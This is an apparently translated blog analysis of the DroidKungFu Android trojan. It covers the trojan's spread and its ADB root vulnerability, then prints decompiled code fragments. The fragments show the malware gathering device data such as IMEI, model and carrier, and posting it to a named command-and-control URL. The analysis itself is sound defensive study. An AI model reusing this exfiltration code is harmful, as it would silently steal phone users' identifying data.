DroidKungFu-debriefing malware on Android

News summary:

In the spring of this year, 21 applications were removed from AndroidMarket, under which the DroidDreamLight malware was hidden . After installation, detected applications sent quite a decent amount of user information stored on Google phones.
And now, in June of this year, employees of North Carolina State University reported that a new version of the DroidKungFu malware was discovered.


This program is similar to DroidDreamLight , but uses other methods of hiding its presence, which allow you to bypass the protection system. The program uses a vulnerability in the Android Debug Bridge , abbreviated ADB . This vulnerability allows you to get root-access to the device, which in itself is no longer a toy ...
However, it is worth noting that in the official AndroidMarket malicious applications did not spread and were sent only to the market in China, although this does not make it any easier.
Also, it is important that the risk of infection is subject to devices based on Android 2.2 and below because in version 2.3 the vulnerability has been fixed, allowing DroidKungFu to prove itself "in all its glory."
When installing infected applications, DroidKungFu is activated and makes its process autorun, and besides, on android 2.2 and below, it becomes root. On android 2.3 it fails, but still it can collect some information about the device.

Debriefing:

One good person in his blog took apart a piece of interesting DroidKungFu code and now I’ll try to figure out with you what’s what.
A sample from this malware repository with the md5 hash 39D140511C18EBF7384A36113D48463D was taken for analysis.
To get the jar archive, a good thing was used, such as dex2jar , after extracting dexes (Dalvik Executable Format) from .APK. After decompiling the jar-archive, we easily get clean code. Consider interesting points in the code.

Part I or “I have already seen it somewhere ...”

When viewing the code of the SearchService class , we discover the DoSearchReport method ... Yes, yes, it is the method that is used in the search widget from everyone's favorite Google. And this is evident in the code below:
Private void doSearchReport()
{
updateInfo();
ArrayList localArrayList = new ArrayList();
String str1 = this.nImei;
BasicNameValuePair localBasicNameValuePairl = new BasicNameValuePair(" imei ", str1);
Boolean bool1 = localArrayList.add(LocalBasicNameValuePair1);
If (this.n0sType != null)
{
String str2 = this.n0sType;
If (!””.equals(str2))
…
}
…
}

What does this give? Apparently, this allows our program to remain “legally clean”, or, roughly speaking, “live in our Googlephone”, even after removing installed malware packages, disguised as a search widget.
')

Part II or "it's time to put off!"

In the next piece of the code of the DoSearchReport method, the most terrible happens: all the collected data from the infected device floats from our Google phone to see where:
While (true)
{
HttpPost localHttpPost = new HttpPost(“http://search.gongfu-android.com:8511/search/sayhi.php”);
try
UrlEncodedFormEntity localUrlEncodedFormEntity = new UrlEncodedFormEntity(localArrayList, “UTF-8”);
localHttpPost.setEntity(localUrlEncodedFormEntity);
int I = new DefaultHttpClient().execute(localHttpPost).getStatusLine.getStatusCode();
return;
BasicNameValuePair localBasicNameValuePair12 = new BasicNameValuePair(“root”, “0”);
Boolean bool12 = localArrayList.add(localBasicNameValuePair12);
}
Catch (Exception localException)
{
}

The blog also describes in more detail about the URL, which sent data on Google phones.

Part III or “what's gone?”

And from the following code extracts, you can see what floats:
BasicNameValuePair localBasicNameValuePairl = new BasicNameValuePair(" imei ", str1);
…
BasicNameValuePair localBasicNameValuePair2 = new BasicNameValuePair(" ostype ", str3);
…
BasicNameValuePair localBasicNameValuePair3 = new BasicNameValuePair(" osaapi ", str5);
…
BasicNameValuePair localBasicNameValuePair4 = new BasicNameValuePair(" mobile ", str7);
…
BasicNameValuePair localBasicNameValuePair5 = new BasicNameValuePair(" mobilemodel ", str9);
…
BasicNameValuePair localBasicNameValuePair6 = new BasicNameValuePair(" netoperator ", str11);
…
BasicNameValuePair localBasicNameValuePair7 = new BasicNameValuePair(" nettype ", str13);
…
BasicNameValuePair localBasicNameValuePair8 = new BasicNameValuePair(" managerid ", str15);
…
BasicNameValuePair localBasicNameValuePair9 = new BasicNameValuePair(" sdmemory ", str17);
…
BasicNameValuePair localBasicNameValuePair10 = new BasicNameValuePair(" aliamemory ", str19);


As you can see, quite a large amount of information about the device is floating away ...

Part IV or "unsaid"

Perhaps another new product in this Trojan was the use of AES encryption of its exploits. Previous DroidKungFu brothers such as HongTouTou or Geinimi used DES encryption in their code.
Ps At the moment, on the Internet you can find several versions of DroidKungFu. At least I found three options for implementation.